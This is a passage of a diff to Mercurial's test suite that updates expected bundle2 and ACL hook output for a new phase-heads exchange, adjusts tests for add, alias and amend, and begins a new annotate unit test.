   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -1256,14 +1303,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1291,17 +1341,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1338,14 +1386,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1372,7 +1423,8 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -1416,6 +1468,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 81fbf4469322:fb35475503ef
   (run 'hg heads' to see heads)
 
 Create additional changeset on foobar branch
@@ -1454,14 +1507,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1492,21 +1547,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -1542,14 +1591,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1579,6 +1630,7 @@
   acl: path access granted: "911600dab2ae"
   error: pretxnchangegroup.acl hook failed: acl: user "astro" denied on branch "foobar" (changeset "e8fc755d4d82")
   bundle2-input-part: total payload size 2068
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1616,14 +1668,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1647,6 +1701,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1686,14 +1741,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1717,6 +1774,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1750,14 +1808,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1788,21 +1848,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -1843,14 +1897,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1881,21 +1937,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -1935,14 +1985,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1966,6 +2018,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -2004,14 +2057,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2042,21 +2097,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -2090,14 +2139,16 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2121,6 +2172,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
+  bundle2-input-part: total payload size 48
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
diff --git a/tests/test-add.t b/tests/test-add.t
--- a/tests/test-add.t
+++ b/tests/test-add.t
@@ -44,14 +44,14 @@
   abort: ui.portablefilenames value is invalid ('jump')
   [255]
   $ hg --config ui.portablefilenames=abort add con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'con.xml'
+  abort: filename contains 'con', which is reserved on Windows: con.xml
   [255]
   $ hg st
   A a
   A b
   ? con.xml
   $ hg add con.xml
-  warning: filename contains 'con', which is reserved on Windows: 'con.xml'
+  warning: filename contains 'con', which is reserved on Windows: con.xml
   $ hg st
   A a
   A b
diff --git a/tests/test-alias.t b/tests/test-alias.t
--- a/tests/test-alias.t
+++ b/tests/test-alias.t
@@ -527,21 +527,29 @@
 
 environment variable changes in alias commands
 
-  $ cat > $TESTTMP/setcount.py <<EOF
+  $ cat > $TESTTMP/expandalias.py <<EOF
   > import os
-  > def uisetup(ui):
+  > from mercurial import cmdutil, commands, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('expandalias')
+  > def expandalias(ui, repo, name):
+  >     alias = cmdutil.findcmd(name, commands.table)[1][0]
+  >     ui.write('%s args: %s\n' % (name, ' '.join(alias.args)))
   >     os.environ['COUNT'] = '2'
+  >     ui.write('%s args: %s (with COUNT=2)\n' % (name, ' '.join(alias.args)))
   > EOF
 
   $ cat >> $HGRCPATH <<'EOF'
   > [extensions]
-  > setcount = $TESTTMP/setcount.py
+  > expandalias = $TESTTMP/expandalias.py
   > [alias]
-  > showcount = log -T "$COUNT\n" -r .
+  > showcount = log -T "$COUNT" -r .
   > EOF
 
-  $ COUNT=1 hg showcount
-  2
+  $ COUNT=1 hg expandalias showcount
+  showcount args: -T 1 -r .
+  showcount args: -T 2 -r . (with COUNT=2)
 
 This should show id:
 
diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -11,7 +11,7 @@
 #if obsstore-on
   $ cat << EOF >> $HGRCPATH
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 #endif
 
@@ -28,9 +28,9 @@
   $ hg update B -q
   $ echo 2 >> B
 
+  $ hg amend
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-7e959a55-amend.hg (glob) (obsstore-off !)
 #if obsstore-off
-  $ hg amend
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-af2c0941-amend.hg (glob)
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
   @  1 be169c7e8dbe B
   |  diff --git a/B b/B
@@ -50,9 +50,8 @@
      \ No newline at end of file
   
 #else
-  $ hg amend
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
-  @  3 be169c7e8dbe B
+  @  2 be169c7e8dbe B
   |  diff --git a/B b/B
   |  new file mode 100644
   |  --- /dev/null
@@ -60,15 +59,6 @@
   |  @@ -0,0 +1,1 @@
   |  +B2
   |
-  | x  2 edf08988b141 temporary amend commit for 112478962961
-  | |  diff --git a/B b/B
-  | |  --- a/B
-  | |  +++ b/B
-  | |  @@ -1,1 +1,1 @@
-  | |  -B
-  | |  \ No newline at end of file
-  | |  +B2
-  | |
   | x  1 112478962961 B
   |/   diff --git a/B b/B
   |    new file mode 100644
@@ -95,17 +85,27 @@
   nothing changed
   [1]
 
+  $ hg amend -d "0 0"
+  nothing changed
+  [1]
+
+  $ hg amend -d "Thu Jan 01 00:00:00 1970 UTC"
+  nothing changed
+  [1]
+
 Matcher and metadata options
 
   $ echo 3 > C
   $ echo 4 > D
   $ hg add C D
-  $ hg amend -m NEWMESSAGE -I C -q
+  $ hg amend -m NEWMESSAGE -I C
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/be169c7e8dbe-7684ddc5-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files}\n'
   c7ba14d9075b NEWMESSAGE B C
   $ echo 5 > E
   $ rm C
-  $ hg amend -d '2000 1000' -u 'Foo <foo@example.com>' -A C D -q
+  $ hg amend -d '2000 1000' -u 'Foo <foo@example.com>' -A C D
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/c7ba14d9075b-b3e76daa-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files} {author} {date}\n'
   14f6c4bcc865 NEWMESSAGE B D Foo <foo@example.com> 2000.01000
 
@@ -118,10 +118,12 @@
   > EOF
   $ chmod +x $TESTTMP/prefix.sh
 
-  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend --edit -q
+  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend --edit
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/14f6c4bcc865-6591f15d-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   298f085230c3 EDITED: NEWMESSAGE
-  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend -e -m MSG -q
+  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend -e -m MSG
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/298f085230c3-d81a6ad3-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   974f07f28537 EDITED: MSG
 
@@ -129,7 +131,8 @@
   $ hg amend -l $TESTTMP/msg -m BAR
   abort: options --message and --logfile are mutually exclusive
   [255]
-  $ hg amend -l $TESTTMP/msg -q
+  $ hg amend -l $TESTTMP/msg
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/974f07f28537-edb6470a-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   507be9bdac71 FOO
 
@@ -137,7 +140,7 @@
 
   $ touch F G
   $ hg add F G
-  $ cat <<EOS | hg amend -i --config ui.interactive=1 -q
+  $ cat <<EOS | hg amend -i --config ui.interactive=1
   > y
   > n
   > EOS
@@ -149,6 +152,7 @@
   new file mode 100644
   examine changes to 'G'? [Ynesfdaq?] n
   
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/507be9bdac71-c8077452-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{files}\n'
   B D F
 
@@ -176,12 +180,13 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > evolution=createmarkers, allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
 
   $ hg amend
   $ hg log -T '{rev} {node|short} {desc}\n' -G
-  @  4 be169c7e8dbe B
+  @  3 be169c7e8dbe B
   |
   | o  2 26805aba1e60 C
   | |
@@ -189,13 +194,24 @@
   |/
   o  0 426bada5c675 A
   
+Checking the note stored in the obsmarker
+
+  $ echo foo > bar
+  $ hg add bar
+  $ hg amend --note 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'
+  abort: cannot store a note of more than 255 bytes
+  [255]
+  $ hg amend --note "adding bar"
+  $ hg debugobsolete -r .
+  112478962961147124edd43549aedd1a335e44bf be169c7e8dbe21cd10b3d79691cbe7f241e3c21c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  be169c7e8dbe21cd10b3d79691cbe7f241e3c21c 16084da537dd8f84cfdb3055c633772269d62e1b 0 (Thu Jan 01 00:00:00 1970 +0000) {'note': 'adding bar', 'operation': 'amend', 'user': 'test'}
 #endif
 
 Cannot amend public changeset
 
   $ hg phase -r A --public
   $ hg update -C -q A
-  $ hg amend -m AMEND -q
+  $ hg amend -m AMEND
   abort: cannot amend public changesets
   [255]
 
@@ -209,7 +225,8 @@
   > A B
   > EOS
   $ hg update -q C
-  $ hg amend -m FOO -q
+  $ hg amend -m FOO
+  saved backup bundle to $TESTTMP/repo3/.hg/strip-backup/a35c07e8a2a4-15ff4612-amend.hg (glob) (obsstore-off !)
   $ rm .hg/localtags
   $ hg log -G -T '{desc}\n'
   @    FOO
diff --git a/tests/test-annotate.py b/tests/test-annotate.py
new file mode 100644
--- /dev/null
+++ b/tests/test-annotate.py
@@ -0,0 +1,104 @@
+from __future__ import absolute_import
+from __future__ import print_function
+
+import unittest
+
+from mercurial import (
+    mdiff,
+)
+from mercurial.context import (
+    annotateline,
+    _annotatepair,
+)
+
+class AnnotateTests(unittest.TestCase):
+    """Unit tests for annotate code."""
+
+    def testannotatepair(self):
+        self.maxDiff = None # camelcase-required
+
+        oldfctx = b'old'
+        p1fctx, p2fctx, childfctx = b'p1', b'p2', b'c'
+        olddata = b'a\nb\n'
+        p1data = b'a\nb\nc\n'
+        p2data = b'a\nc\nd\n'
+        childdata = b'a\nb2\nc\nc2\nd\n'
+        diffopts = mdiff.diffopts()
+
+        def decorate(text, rev):
+            return ([annotateline(fctx=rev, lineno=i)
+                     for i in xrange(1, text.count(b'\n') + 1)],
+                    text)
+
+        # Basic usage
+
+        oldann = decorate(olddata, oldfctx)
+        p1ann = decorate(p1data, p1fctx)
+        p1ann = _annotatepair([oldann], p1fctx, p1ann, False, diffopts)
+        self.assertEqual(p1ann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2),
+            annotateline('p1', 3),
+        ])
+
+        p2ann = decorate(p2data, p2fctx)
+        p2ann = _annotatepair([oldann], p2fctx, p2ann, False, diffopts)
+        self.assertEqual(p2ann[0], [
+            annotateline('old', 1),
